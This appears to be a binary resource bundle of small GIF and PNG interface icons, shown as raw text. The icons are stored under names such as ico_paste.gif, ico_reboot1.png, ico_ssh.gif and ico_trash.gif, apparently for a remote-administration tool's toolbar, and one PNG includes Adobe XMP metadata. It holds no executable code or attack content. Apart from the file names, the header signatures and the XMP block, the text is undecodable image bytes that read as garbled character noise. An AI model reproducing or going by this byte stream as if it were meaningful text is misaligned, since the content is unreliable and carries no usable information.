?#1sC@B.(F=OCA1Qs])vXIENDB`7$img\ico_parent.gif/U2GIF89af4LDtDԲ\̚zܲ4ެ,z$d\T,T,Œ$<vԮL̦$z̄DԾ|ʴ|ք\<TTDtdDvL$\\$4z<44tD<L$ʼڜԦnD$$|Lܺd~ܺ<欼ƴ4~$dd4d,”Drܮ4|t,|ڌ܌\T̢ܺL|l<vldD$|4μpw  wtPwww$w@\Dw8Dw 8wwtЖP9ww;9ww aԧw#]9ww#wxᄸ

w\wPjqw0@@	IHw`80wq09wIA-(#ޘqw2Wqw9Dw2*qwj#w.pqw!,	!A&<ÁFlXp`
gX2`džh QFAƁ"E4H1Ȑ䆐2%B$g!dERh"cpMTh9#LBtXep0b`ѠkAJ ;REli`PBГ^MHO&l0a/̨A
4".m!$tT1arxi"
e%A"F`ޑh)|}*n*ͧ';J^Q$img\ico_parent.png|2PNG


IHDRa	pHYsgAMA|Q cHRMz%u0`:o_F!IDATxb?{s<7@T< PD$82sKOAXV!1QNCIa\9÷/?a˾~Ugpi	:?b?õByn
2_l@
+({h%	kw0|aצS{o>?'Q&!w'{m2|y
 0rpݸ!U(a}b-pEG~>	,Cwb6D	JqLf`EG'g'+>bϽ2x3s0f`2ev̇(7AUVx+n'`Wʠ102020|>b㡳0}7ϟ?lBs̈́Y10|`_ԋA^'+>fX@0h!P_.aS3݋.}x
r4H@
'05:3P?3p09W@nn?\L0Ec|et"ëkk޾|<ϋ
D#`xr#\pO`
(T! UMW5}yw>[͏?@e' }L {flypO`='ԍIENDB`"img\ico_paste.gif̣2GIF89aʗ燓ͩğ)uskƢ*}}ơ6^È}WhloS^jv~Կ[V~ԩ.	n(ejƱʽ|r&!,@pH,`) ARlS0Tkj<xg?(	!Z<!	''N'ba1/$:H	-.'
33aG
%;;F## Ǧ')E2%%';)[B'=3*;v*img\ico_paste_off.gif2GIF89aپݱô̲!,Iό=,LX.$p@,H
0@TP 1@とZ$ @^F
A`}0Nxa8x:

s^xx

K
=
<Vyu)TTW;$d"img\ico_pause.gifB@3GIF89aܮ֤!,OI8ͻ$A(B9pg=oзQ*'HFI*SuNpM;^*img\ico_pause_off.gif3g3GIF89aΥ!,LI8ͻ$A (p*
5>[&r#/9D'Ȝ:y_9\LA@.ezD;Q7|(img\ico_PDA_back.pngT PNG


IHDRĴl;	pHYs.#.#x?vgAMA|Q cHRMz%u0`:o_F%IDATxb`~/_,?w_~ɓ-{͎*ee})ϟO?|ƭ{`b?}a_Ra fA7 ao0O>ex#2331022101A0H0	2,^x]jJr߿<3 avNNΊ0\z?‚@||<<<\@^aVϟ<4+@`_y;'wXAFAX88XXX!bl?~bWl޽4 F`8r0WTy
1###Х>}W/_3(I3\z壳S?  W@@@@r2	}@9W2|e4l33𛙙:tOwwSz˗_`&ȥ 
/׿^}
tO_j0
V*@P`10}Lg]dJ>|/(eׯFF"@IP &VV~1pr3pqq?@ͻf 
Od8g KDDEفZ X#?#0ɻt^zpm'Ϟ2l`fn **e67?_?~pbf7l,_.{	d=yv0|Yi	O_2<{S}AɳgוU޼zZ^dx
02*
r0Lp
Ǐ3:ׯO4' CF 0r#/
01<O`R1ŀYkǏdbO g@e@1멵m0`g''+t28]p3O@GN1صh|}ϝuS@o}!0 
?~'=Pccczf8˰nv˗ @?o`&ylP,+KPyqw՛@T]]4Ͽ`<a8t g{k+S`cfHkki|x@G2 X98--T
VA
4T4Jӟ|7Cg[ׁ=Ġ`xr,@߷8%830'
/@þ"
(v̩o
W:3	2 
~P004%gϞrҗǏ<q
`
EPB#	T+@ RfP%@9>.!Ĉܠ5?@dmrfnIENDB`>r img\ico_perm.gifx3GIF89acΤpFxHLOXOTjbeM|\lp+3*/>Av`c$l|q&t'{.&CLpf5ǹ»9EY_=GezkL6l!,pH,ȤeTe1Xth@\`6H,Dqx́`	H9pL;lJ4s$

mH8?~)4G(
5hJ#4`
;h'I.

7"J0
##`
:J( 
%,	'&I%%P	=B6-/c+	>c"߀< (D0T;j(img\ico_perm_off.gif4GIF89aʩƹՠ!,I8kV-"h"NB40>B+ah
D
$0MQd	p@@,v0ȻE5Z
z{
~gP0"
V	Y"
9X	XX3W9*W;V)n img\ico_prev.gifp*4GIF89a,>I8JEARD)+qu(q=f BĠ
Y2ϣ\Nv˝D;»(img\ico_prev_off.gifQ4GIF89aΥ,=I8
:EAXA d:wmۡ2	<ZYe8RЬv;;X, img\ico_prop.gif؟4GIF89a綱.B
ݫew_]8JR~u0ܝH!,@pH,Ȥpl:G葨Z&^NûV43*LڳS(
*1#{u)>FS(~.$5$E#:&>
-3$D#0,6!g' 9+ƭC# ƻ
K
!4"#%#88;`%*\$;a(img\ico_prop_off.gif4GIF89aܻжή!,I8ƻodI*MbY2ʺ"Hr8k (
D4I	\!(<n!xp8wxm{Fjw|Gxwzvx
R;V&img\ico_reboot1.png@4PNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_FIDATxbd Xkrqs+*JHq
_<}Ç'?{Gb FB
lms]]M,-5T9X~g1||/_z~ȑ'Nhg@8`bb?+(HQIEc'o?~7730:ymmgϞ4+f@ausK^YE=ÿCS3\u}d򟁋AAAWAOIAVYX&[ׯ3?ݻƾvj[+~~{e2,޵ߛ"ee`ca`jgR%9D~cEf߽kW< fdks]{GP[0tTxy9yd`dcy0<ea``WVVɽ{v`v3R*w-mnmo{0$%0\b<#(
c`}q6f`;[ͷf9 - ,&.sΗ/_:Ká11b~2Cbo3"@@A
P"@9NXddbcܟx!
9W/_ϟ@?Avv%}`(+d4r U,`؁	l9@0AB$Z4?yȠxGRO>=4(*	]\
Y?5V1`Z3`$BNhCٜP6(4~1°aO01hMTb{
`!8g2,ٻAX!4@-fbH  L;1ܺtXegQVV&b	RRS2?pE`6XoPs	!A
OؙXY39I0e71qqc /?ÿ.Z.4,!aC  -dQ``acx AWF'22I@@LR??Z%ȇT4rfxYz&6v~&n!GDxq0fg9YMbU+@S,ʊ]oHPji}3*~Ŵ0.>K]ў)I<zbj臽8az6hnjCi.\ܚr[D ϊB4:8&x[T˹%P[XL4ܝ2c;
aab\ ĩAF%Ts'Oe "F	zG0w^L)`_Ug~6Lih5—EPx
f]o:.,>&j
 O>jtZmb(
e6E<8s},L‰Wh#!{N.mOߠbz 0V"h;4Q
C ;05ϻ&8s28rY0\u|Xw@@@L޽ؒd}c`A
XYؙÓ	2çoA@YXedgdg8c6>A~?~0x>fb_r5#eR
/`A)3貁kg~00:+#3g:g3yA@Myyv3c8?^b>eUHTcab36b`c8[Z	r@Ivy,s0? b(!tXw,0Mp3Ԭlf6/Ç<~x?V@kÇVPTWfe`|pYj@;70p;,ԅ?C.WC9;5U^ۊwX'˗J*n(Y1F,Lt<\bD%l!
1``(Ofbaɰ5e%&*8m߹'O6=~ۗOJꪬ81#ہ8x)gdge0caH
bpc8xvejjZ<ԑ#;
h) m)3#ZP(]7{o2}wcvG`bmuY)`{Xp-#{IKjZj
<\ܠxwϞ;
$?U*%\\\:{y	
07ax'`/*,p~|{_>?N;j޽ˀ	_v~u4/O`R?}Xv`
Yg'xm@Y ~
k@!Cmm"
1		v.`cXd@|!Lϟ?޼|ŋw\tׯW
 ~s |}CPb1PN،36$y9 U*#TC3hk BV(1c
Z`=!S F(D@4Lluoh(:0Ve]5IENDB`0t&img\ico_reboot2.png<5PNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_F IDATxbd Xkrqs+*JHq
_<}Ç'?{Gb FB
lms]]M--5U9X~g{3\|#G8qׯ_Fg>@t4 %FF&?1ן߿:ß^
tf^|pϻmk;{4q_/6{\\[*m?73\t?g`h1Ћl*

<܌LL7_gX1ݻw'}Ŀ նW}][0ڳu)b`Z~2<~!ՍAEӛAVN/O͚]@_; P\Qk`og.2,W.uU\<,@l.l>|p6Zچ@Gcx9êٳ'hsdG3R*w-mnmh}fOaa=Ϡ .#0!B,g١b,̬<p$;74,bo^<|u` HNO?//3̙ !AS	,L@30}A\faF	&0a̰?('+ЁW/_ϟ@+ &aog,Jp/dX>A*/אs~?&`$r@"_3xcp-1K0bVvK0_ZNd@;4!qh9. vȱ~3$Gf'ccѱZ< 	BFp?c8g	20}2`@i )\pC/q$#0xy]o1\t\(++%b	RTSeG>N/0}Ir!`5ax?+3Ņ ']`j<bF@E ~Kw/0	ee>&<Qa&PZ%@Pгj*lp>+${Oee*bNUM@P[x((G׸; "d;n1̴+5O׋Q0)ԴH`tֺk&2-I8)1
&C}1RJO_`@٘džxNQNdCO-iF˦Uʦ?E-Z}s,$1b~x	ƅYieQ_4)'/Ie HB
B¹9i.H-Sj!g'6%J}exOy9bJ	?6.M?p2/u֞_ @ J,X:7q)f![r~&TUU Go=5@фzxn=j}Y6ԙ)B.?`V[)f/_`vhig@>9޾ $)lu%XٹdOߠS	&&`p+1|jUNYYlА1|gecD3
pii~`:/_	2<dXXrg偵OO庒<0[22\'8A,A	\`0y`*,~&F&Cp{tQ9~ŋG@Z m׮\~t?67o`L?Nb{XFpK~[Rb"@pf.8 !)޽zp3wՆXD􌍭yyTޝ*;f`Y , %jKL22ܸ@33HJsLJ*P?ö~b06c8~Ǐ{_:~iE|ummV`is_'UaLr2X0[]\Xe2h	~wc`x!.}/ë/vرOU˗ʪ*n@\O01.#	Pxdd$;Fm`tGiFAPΝ<y4y `+߾|2PRUWeZ$ð ËǏ>20_`.E:>0Fs=MkR30X:rcV[Ж2@1#5	ܻ{o唔XUùk7c0T;0uYRS`.G=3jk3,XAQEA؏e8q}{,fSи4RBo2Rg/o[>A_;o\X-:'?`cx0op0HJ)2iHi	2:v{O'B/9Bt1Nfav~el>y@ÁcB?'0#}ÉÇ/^|y;мsPb9Ef;1nj3`mo^wŻW.]:+b:B_>x
HEe Qq1#1qI>~~^H+{ٿR} π>"@1с6oAmC[l-?BK8ogB=ebd BRiX@{<ߡm
`J}'4IENDB`j&img\ico_reboot3.png45PNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_FIDATxbd sss+*Jʨsӧ^<}zҥKǀb FB
l3]]TT89X~'߃O.?CKN8/@#3 p:D
3ß~/2ϟlX?/u
/\4+f@auc[Ium=>@玟`{8w>g`:ᏸ$!#[׮1,5k޽{ƾv]ۛ{+
~K25M1Q b fh39I^*~Abbl0<{aΔ)TČsg֞J=g._fpkL7oq20s|@"@,4Ign?pWDWTAIUM	@p8U77ϱ`CÃ/\fZ,
H3T9bf 3;Ь~pGZA\RR'^:u8ɩ"y~pi"O^0h-30AAs1B!|6Øꘀ4q=B"bl,,.\	J fhV(bxÔTW4s2Cr!.0J兘 i"Pxry566vv<{ P'PT|^jzUvcP
P6's@J|(-3++-PJ		jBFGLgPrvfo` lHsAӇP9+ׯKRR,@i!,RUUR;@߳@we9;3B&i0_in`<0/A>o~.>|tPH+@1+(OCd0G+)'4@4;4TC^HH]u/?#?/^~`n%ãoX9BT\\Zp;;;÷_߻ o&HO@ŀef=P3AH`ga`caag8.Sa{`Y򏉉A@(,B@2H(Eo'H-DY.dPgO4]=7h9\/4DEvNXy5+يjEP$,9,I+Ze1vh^h*An1p()FdwGRV+Vǁ4'qw:wjjdҞἧ.&g
 `}X,P'Eq1x4@,Ee`:
(,[x^Mgϟ?!b6&U1IP!4#,%<PeY8EAc?(_-ov?bz@0]S+(jPA$fXA30\􍁟A&@RVO -,tW/^Ӈw<L^*H2p@@KAE-_BXE*ЗKNP2\x
0i B/3cbd˗/e?fbt/LYF3#0pA(՛@@M?YX@\={pG}Q!%^Nf7a`sarrB^bxh;@57_)Y[0T&h
fT:߁یN{k~2
X2-f|!ΰi~1||O<4ۣGNjjp-1v2XE?@qƠ"$`,. 	,~scPgTU=έ[۠t@߯?~QTwde8-
l&Vh-,ϕ:	JP;10t2ȝGtkז-U^ 4y `ŋ?|0RUP`cc-"
@!.v`x9AQ†EK]
2$`m,8T_[\@m?k3UyP3JئlLۗjl-T``Qb`QVe`3ߺr._~1(2h3CȾ}ٳjEhUJNNNK=mY՛X`0|AXWK00C
{c|~4d$%M|%\v'~::Uv)r@{8;JP;%TI	00Jgtʕm@%r \=##D999˴%ـ5'c'_Їb@~3g]|o߮^aD"7PCGԆ5-C`cB_@R2z{ó{	@Dt`Y
HAh+FژFOjvτz@<`59Q\Ce?/1@IENDB`q&img\ico_reboot4.png
k5PNG


IHDR  }JbgAMA7tEXtSoftwareAdobe ImageReadyqe<
<IDATxb?44lQ?k@dc Fw_eX?@4N{
@GϞ{	CHbb5aA'4@HlƔ)S9%mWh)35%}.bgd8A)>6]MZ?t/o4v7$$$TTbËǏ"BBΝ;+֮vЁ
WZ1
ef`~A_Y򌢢)@!4) Q=C4@/o0|`deb``Qc+pR y  ?Cƒw1>g`p}bbcĠu$Q"RNeHZh`jj@LzJK10	2\pIǏxsr301cx!ٳ]888<@`JBG5$>}G/003c`zbӚ5eeU0=6ȑ#Jwb>c+;ۿ_$DTe>30lQ^]ح>i[[ܹ200V׵F2D93Jk0de= ky4_N~efgXrO,_x38&P۶mA	}MG+45Ŵ_
J\̄			+*}>	~B.a[@qqq_x1	 .3afecxy/Csn_9^?UdHYȠmp%0`RG#@D#\pAٳg?dgPSSc֞,&&Ȉ0̙իL}}z"Pmtb@KGg[jAA_`~݇O|e`gSHOOfff@p;qZKOds˖S"|&(6FVn-[V`8a?&>f-֎ޛ30_2Ƞ" !p9,{W0477+\@L˖-suq^* ,Ah0ϐ?C$uM?_~bb[pOe/j@q010s2*nHYfIW XLwW3HS`.`4]McbPKNFU%kS1pݻ|bfxlQȀ	bxr$×/_|WlD&N`iϟ? n36cPc9pwFnVls30r31ppr:r\r_?}F1	b9o/c'QYan&>~.ۻ0ge07g`fɇAEEoi@1UOcb&, E0,\y9C4V`Qg@

mZ89ao>w@>exv&NF.CUjg&(32:ٹd0@S"0:Q50`yC}7l1l8°11Q@gMA</پ}eVE6VVph13|111[k߾};ի7n`x=+ )))==JJJ	BzZ K:<z"HY]OUCK^@H?|dx
ûo+'2<VțpSNu/tvwï_w1p~x0bg!M@S͍ATͅ5`}"CiiV`I,B@(6mQɏNex6w.`,fX@:= #'f_c8+lde1pϞ2\=s⌌LCֶ_06uW5;lZd
T3ԦD21hH31H2K$f.?0iH27SƒAy]HH\5)$۷?;]; lp7
v#؀>#< L,܂gfd`6k|`xp5ä^Fڒ`-p@1$۫a8U A@?FYz\? -;VjA2|e8AA\BЁd."" X@Û7@-g1p
30zm%w{,w`p![AĚAMn7Õ"vtʦl	@LU5WQ
G|-#V8xo?.7,	T?{׷_E$-3~AF!kbWV*c,%	Z\Wp X<=7_<w.[X~1e:Ql3s01<[,nNX-d8-ARX7s3c`f`Tg+fËaM
]p
#fbxI`E^BÉ0x,0~,Pf87o\Xo_"B̂`gvar'lmlE30N p9o-*w-g;;vgؐ6ލပu"xyy<+fxu%C:V`#K\0

HP@7?>[غz+×2H=a`S#_Nm?̪3ɀ⒁y'<d8|_aŽ<׀ű
i< l['OΜ9WbR02|ɳ޾:+P8Ϭ`bF^ۢ_bPVQ7}	>YBǏ)&v"#q`~gϟ3X)	2AFZA\\AYY$6|`u ?~X;&@ZnA2pS
+g]vmb0bӏ.IENDB`(img\ico_rebootat.png}M6PNG


IHDR  szz	pHYsgAMA|Q cHRMz%u0`:o_F!IDATxbd Xkrqs+*JHq
_>}ѣG'?{Gb FB
lms]]M,-5TY~'3|⧏3\|#G<yϟFg>@tT EE&FF0/`_~🉅?#˗:y-gΜ4.V87U83/Тwo1>ʭ{?` `(p230fagVTbSRb`a+߶{$7]77J}#@_~zaզ˷f303#` )_g}uQ99=}ʰh֬}w
Čquumk54`Íg*3<xᝐ*2$''77/ 7I}LnftA
F^YYǗ&	@Hܵfc2dtb8A@IS@
00J20q000310;I3= tۗ/8^xqhwX. ƅ@0cgWZ+`p20r>f`Z*"{!)VFz׿02 , lry
'^bvvAR	ӛm32+ $4?'#+зllL@yn߿.Xe``lpyo_0K0bVvK0ao~bVy_لYH6fge	Hv
k AL@G2=ACGh"s &`kK=ǰrf)`2@_1㖉h8;8Add8gf?>`j2ܽ~BDYC	 &n %55BKWaf3fP2HfDa?c0002< &.n4\E^AюXr.`A:$qA}
nN`gF`ddF	330w01px"3(0xA+.p]Ƅݫr"bb@E l
,^	jA)Z\:k&`fgcaaed`+0Yؘgba`PÇwyOj^A&`pb?000JC☕l*;0``c\<|he`ҵ`:_H`Il C!@߿3bP|N;#
2\_3pXYY21@.?0DБ	͆L?}TY¦bR`@Lp`+j01232b՚ 9򄑙ϟ` @ @mE&O~"{(!L)L#{m@IzVqD6pCa>\uZ+	 G=011	q2{`_1yyX6s!h+b8;ë3>=NB$C˗m?-ρ-PcBGIAsL4-Y!!,
B13A#!RA	U2+ `hGP@L/\8qD  `/׏H``Wb`R'?[D(d`b`17''+
Ŀ,o #- ((,^1ܿT#*4`n˗/YWAY h{<%rF(]8`|-g5K20; 
t#0.]p߿/ՈN3l;~wF`43H|e`{t(Hz*,6(;>?vA1F>1v`;-u+f8=AESALR.^.kw%U7~!>n`sX310J㗕ED:?p\x$-;1MY1iFnaE_2l`PdeP3F;w^|.3@9/@IUMAPc_eX88]X]K2 (ي30lf̞a_K\V72Vnyyر@Nh.` 6{w1e	lF	
0=:_2p*S`5%Lwizæ+Y̠̠kpСY
.嗀-]@bP(ێj|7.1<YƐSV\SO>3 ##  0:v{qh? @7006JfVl߾z{o/ f<SgN>|[薃@!ͭ]lFيIHsVX@5)(V}Û/]xK}2P)߄_!35 UUTEDŌEŤ9l *_WP	3}?#XVC(Q(ֲV,_2|S F5$$,V54EZKaVIENDB`&img\ico_refresh.gif6GIF89aqը6J15Wxn֬br
ܿJR~}èUu0ЊȾW]vẦH,@pH,0l:C
eqZ%^bVLb3a<
c;(##*+!r'/
.FS-08E!%=w4D!g3$	,K-Ϋʡ:45	B!" ![w&J*\";e 
U$img\ico_rename.gif6GIF89aIV㦦FFFGGG֖Î۾ꖖxxx}cɹ|xSzӛq|ߪיʄv!,@ âp2(XBfVX[پhx<@>/fT"h|u&4#'}OEvUu{s|BOUa!-K){HYDrK

B

2$	.1	E	, AV`۶
`me5cI ;;L,img\ico_rename_off.gif7GIF89aӦ!,rx06AC.Qzp^遀 vAnZن!Ћh"s0	8_hzQ!0pUk p:A
sN}ybgAkgmz`a\	;&img\ico_restart.gif77GIF89aٮ,_I8;HJtK
@\61:`]|L<
KRx.* \I{݌1
!bY`տ=;N[&img\ico_restart.png7PNG


IHDR  szztIME		%>	pHYsgAMAa
IDATxڝWyl~}Il'M4h&S(6`	iLڴI;`LlI+	mֻ44mӴMsn9ێc'ũj@5Kb}{y~WY̖G=ލŒJUSSSS{:(-}'窾Mo޲6Txaۡ3/c$fffzC7nBWرZZZ^Cx[|pv5i9g17F4C,E:ȲY#CB矅3gng}fX绻pT;.]*Y,2y`fqbw>ܱc1룾m^{7m^qz1];vB3H%rK
r#''WaY#N'^O0h=h/֭[_yb:DxȱG>f˂^o^NO顥]Vk0
҅ne*+A7vzСGfJܬꦦ?}?mZ|W/̌SX߼	Etn2heu sϳsPU]h$3m00Y,v8>[+q3~Ǟx" r~҆5k׳v%5tF/%*T0v	`e	U Mqxϱh2A#+{:;?K&cZ7999믾$fXYrIb%L̥9BT&Bq_ā3>}/s;8e	nV
	,nۀcO>7~(;L)p)eM&D	5ѮEyAV8[nl^%.8p
.z4TIZ-AOUL;;: GiRcc"\|A}C#K=H%
q9eӰi;-xdS-*KpO#lTЕg\Lө.))ýjn+l?q"Š
U5XٴW!+;#C8s8,3ƬS)+v$
.ܘZY5ٶl
[Aw.A..)meKt6^gbT?tl\Џ{ބFoIe+ө$F,18:N]Z>WJn

pHatx6}i:WiREJe&-8zsXHMf.%j{DvS^qNzYkIgN,e}zm~3YXUDj#e@Ǚ^G"Y#5'Y*yQl{o\2VW-\;Y{O`at2pꖢɓ\PFйϴ3[ы.HhP9AY#4.OFo	fj0A5P#T搟oF]<TO#
b(L?Qv1Dbc<tIx"j`V2)YݣÐbPLp\k׮Bf;%2c6dAJMfTK2,G\*Pt#0m9YWUzH0C08<mѹQόP)?1>驩OFȌ_R NfyTD`VnK";JQ@_/Οfe%cc|C)JNr٘/.c&sKgC5o*so<ƧdJ\޶rZ|)J?T䷺nqRϻۉ%JVe};>!BS$9V60k
W˂D*xsq50^lpi< GN9XGv3׬Gѣؒa400^GjA,aEe5Xu$
:l-e'8X^`de">߾!"&phDzA`qHDBX׳%*7qt9,Ei,1o{ZAosq9QSW`Ⱦ}WGFF(@js`2 7Z8]6:T	u<Wj8(څ>~֛W(o;yS{1KiZPTX\R$F\ԃ{?$p	-DQ˖h`2Q15T9Vk߁C"jPUSqّ#1ti+k%[c#watnjPWS\SUpS8*q~v7/ 
?ߴ~%hLx!`I~bW9>\=?[YAl6f#/O+KkR##T|&Dc|OO{89
W
Yh4X\.JTNf/TU4MR'Ƃ;Xn+;^N3"/c	#U!v&SaSYZ_qS?BY
f[TT&Cl>c;9?ESFtIENDB` .img\ico_restart_lmi.png
7PNG


IHDR  szztEXtSoftwareAdobe ImageReadyqe<\iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmp:CreateDate="2012-10-02T14:25:49+02:00" xmp:ModifyDate="2012-10-04T09:30:12+02:00" xmp:MetadataDate="2012-10-04T09:30:12+02:00" dc:format="image/png" xmpMM:InstanceID="xmp.iid:08205D99061E11E2AF39D401785764D5" xmpMM:DocumentID="xmp.did:08205D9A061E11E2AF39D401785764D5" xmpMM:OriginalDocumentID="xmp.did:E5BC48BBC72168118C149BFBA69E545A"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:E5BC48BBC72168118C149BFBA69E545A" stEvt:when="2012-10-02T14:25:49+02:00" stEvt:softwareAgent="Adobe Photoshop CS5.1 Macintosh"/> </rdf:Seq> </xmpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E5BC48BBC72168118C149BFBA69E545A" stRef:documentID="xmp.did:E5BC48BBC72168118C149BFBA69E545A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9LIDATxڬW{PU?탅ey- ,,
K(Bfb&h24Z~9MafrL365
$^cycY}=w?7E̜ٽw=sEOhErKR1by</'myp"0kgV)܎a$˓'L}(Q..xm~eO
N5|5X:Dcy 'IrCk˓IQ{.KլAm{b:2=@p<րy'J.sF7YS?X9TtZ!PrfiH[vXwrTր^]pċsqs-iu}y`N	oCi_f&a74܀~~~FdKj3,N{=bo[$J
^ű"2#e@"|zk	m,8x~\෈r:.][0!aq+]/m^r/<LϿqGO ,<*&}n 4JX!i{`!#$OO[`q`LId|oG;]geUxՐ6o!xp
2'o
B\L3Bu`Ga|sNtyMVvsF /X
%$_Ɉ
8X4̏RQ+,C@:	g2r<Et	0-Ya½e7.CCx&)֤Aa]0ߋ7ΝrD-TP?!nbImT3g"E_Wgѵ@/Ws##	uuL`[$L]$%YN˩DtĄߣb;Ǥ%hzaD;3h#Yut,5zY؅s,v}SN_'ϋ!C/z.+Xlk$?*iӀjČHH)(=!;\:Tjkp
.Tdcs~+;ܡ
(vƍt>,q8VRBx6:?/Bƕ V
ŵ7}B}ט;z_li*'ZFrqei"
RȚ59&i䝨A;,oW=NFX/uf5FB]j!LY&HtfWkǥm<+\~۸;Fl$ŵ\Ŗ,>CL	RqC
F*
r+sN<QHogƐܦˆab
g1ho8^w\bY?<b"J7F6Μٿ-F	_~"фpțsh)&btV0D_^Rpz-4E *PG[%m7^\Od::{:<=SOouuX1VnnpULퟞ)#|<XQo
^o_	mcԻ@hCV}q줷JmCV[`&(
$]193\bІ#ZV9wC(("\Ff{-'X4wom߬SzRtו{arщ){rlR"C9=@xyAima{
N`&BDX%YVJ`$DzCjCƲ_+^5|vi6L*H +z%ڄơK`p|Rs ]{e\lx/	S}SjIENDB`Q.img\ico_restart_off.gif68GIF89aΥ,[I8;0a`:r:|@jy}c]Ie<bWA$,TpZ]]R˞[P1 !\3;c(img\ico_schedule.gifkI8GIF89a  RR!,  0IxJ»`H(hXY;x@<\H!n"$|0`ɣ/gqk" UVy1Ъ/ֽw1?fUwJlo7Ls|7ADx\\7i{mpEyoMO^v,j"4»2;/ԝ"img\ico_share.gifp8GIF89aͪ)R0īŷ
xpjEiw֑IȫEȳunp8dS#eɚԨskV bZh)ˎUy+J=ܾGfdpV!,?HdX!B0`aV8X@XtP &((`0@ H2LR@$$ y>.̐`T8@@5P;#JN耷-hb܋@A*H@pa2~Q
88q¦a Q4`!Ã@
b@ŏ9XA
"L4}`6Ĉт"7v՚6Ȁa	@M|<ppa7Dлh
D@|%|C		hpCUPx
	xPXЇ ";ۄ"img\ico_share.pngv8PNG


IHDRa	pHYsgAMA|Q cHRMz%u0`:o_F[IDATxb`6Ŝ[EdÛ{ԗq0#+*\!eyYaܚ_Jd*+e#4;<@1irdcaSfҰSae?&"-Gas;kiĂl_?~;*+v10Wb`d7dfPQa`gc`%Mb<ãcex
+_6}@(rJ3ٿÁA?c9V1	2&f6_^3|z P`x $zh;e`(K6@8^#8Ç,=_
>AqqF^>n#c`f@,*Kn?rMIvjfL`g! (pEo1II2ps390#`1!!X"y[?`عAI9
áňOy۵?&HhASo`Z6wf~k[,ϟ0ȼ h;k/7C?ʁ}{ufT FT"~dhBʷd߱)I*0(h:3J1||vaG]zzm; X8›G.<r((җ3TJ蜟ENWo<}ūOʿs u'Q @|C5X|`@1,	K;% i^3D#2cIENDB`img\ico_ssh.gif9GIF89a//SSgkS++_77kCCwOOWWccooϧ۳翿++S77_CCkOOw[[ggss˯׻/S/;_;GkGSwS__kkww˧׳חoÛӫ߷o{Ƿ˿o{Ûϧ۳#+7kK÷wwggSO3/?ww__GG33S{{kg[[KG##ûgg77wog_SG7#wwggSSCC//GWgsT|i~٪$Hlڐȴ!,	H Ab*JZ9l4ЈJB\j1Fe7."F3g,X@K&*XR
+[KmN9SU>Y)%^$JДi%}|V[,4$#JRDą/;XM""img\ico_start.gif39GIF89aٮत!,II8{bUF8i*7.,Ӵx ^X\C	̦LNޕpR;vEt';,U?*img\ico_start_off.gif9GIF89aΥ!,HI8{1UE8yຨ3
gxەu8ȤӈLy>s#Ԏ]Q;$N img\ico_stop.gifx9GIF89a宮!,=x0Ib`dY`ej,$s/daMB(8PeJZ;' f(img\ico_stop_off.gifx9GIF89a¥!,=x0IEF(0F!FlP,ӏ⎎
	$L2(8eJZ; &img\ico_support.gifm+:GIF89aibcFV%g*&i+"^&+Z.DFY[CCcd"D82!^PvqTzIʿE~~IR7VyYےҥW΢kiIɐi8Z2V)RҦwheyW+hJ,_K7ɦʞteFX:#>%${{{zzzmmmeeecccXXXTTTJJJ333222)))%%%!!!!t,@ʀt957IJCt`NdPj
eWPNQ[h'.1 oNNXiqDB6F=;t_OR-,+%#2bTPVk
eaf?<>@eUNO\LsKHEG:t]dO
2#&H93'ZlA)xI1lQpq
2\xr3OA;<$img\ico_system.gif!S:GIF89a  @ `     @ @@@`@@@@@` `@``````` @` @` @` @`@ @@@`@@@@@ @  @@ @` @ @ @ @ @@@ @@@@@`@@@@@@@@@@`@ `@@`@``@`@`@`@`@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@ @`   @ `     @ @@@`@@@@@` `@``````` @` @`ࠀ @` @` @`   @ `     @ @@@`@@@@@` `@``````` @` @` @`𠠤!,  	H*\xC#
߁%.@":cƑ!\|hTIS^\̘Τx%L #Zs(JW~,jhІ7Ws‡UzϨ`iZĉ0ԛF;<tNM˹m,`}SkVxΫ$\xCXCK{~Ŀ"g~xuҠcp1iC;4{"7m?l֧HYOνw;
j img\ico_time.gifr:GIF89a  1999BBBcsss!1cccc!,  H@A* 
#Jd A+$`ذbƉ/~"GE
*WF,CbJPa1UdPfK:!Fg*)$jN+#P@bHHHըD_VЩEumWx
zfՐ
buE7ޯ
oS9c.9m^]<@kMfЕjl!d)vEܿ8p yFlsSwou3\B!<Z|GڸxpUT{  	,[~k)m!NO	h_`|<WA,2! UYuMHW!ƔC
a[0(VwP@ZdHwi]e4^~e
f~c;Ey"img\ico_trash.gif06:GIF89a  @ `     @ @@@`@@@@@` `@``````` @` @` @` @`@ @@@`@@@@@ @  @@ @` @ @ @ @ @@@ @@@@@`@@@@@@@@@@`@ `@@`@``@`@`@`@`@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@ @`   @ `     @ @@@`@@@@@` `@``````` @` @`ࠀ @` @` @`   @ `     @ @@@`@@@@@` `@``````` @` @` @`𠠤!,  	H_6ޖ	J[BӖUI@*D$LhcW@K -I:i)'$8D&d;%n"sӖvnt݄@y% *M$M{JyȦ{t
[[\Ԕㄻ-ɞ	~{a5+q'I$z=y5k{\}4	]ȩ=R7F`qw=uK>PA3nRM4\=gmۦ<NW4@^kqF5
MvwaM5hzg^ngG	)]S"9<ǕZH͓?
nPx$'P$`66<DJ9Zt+lÕy87ejIӜbG_SZc4*69GDy qI'jēp4SWr]
VjdJP@;=img\ico_up.gif;GIF89a!,HI8ͻ|QAA{ۺ&ϴ}9
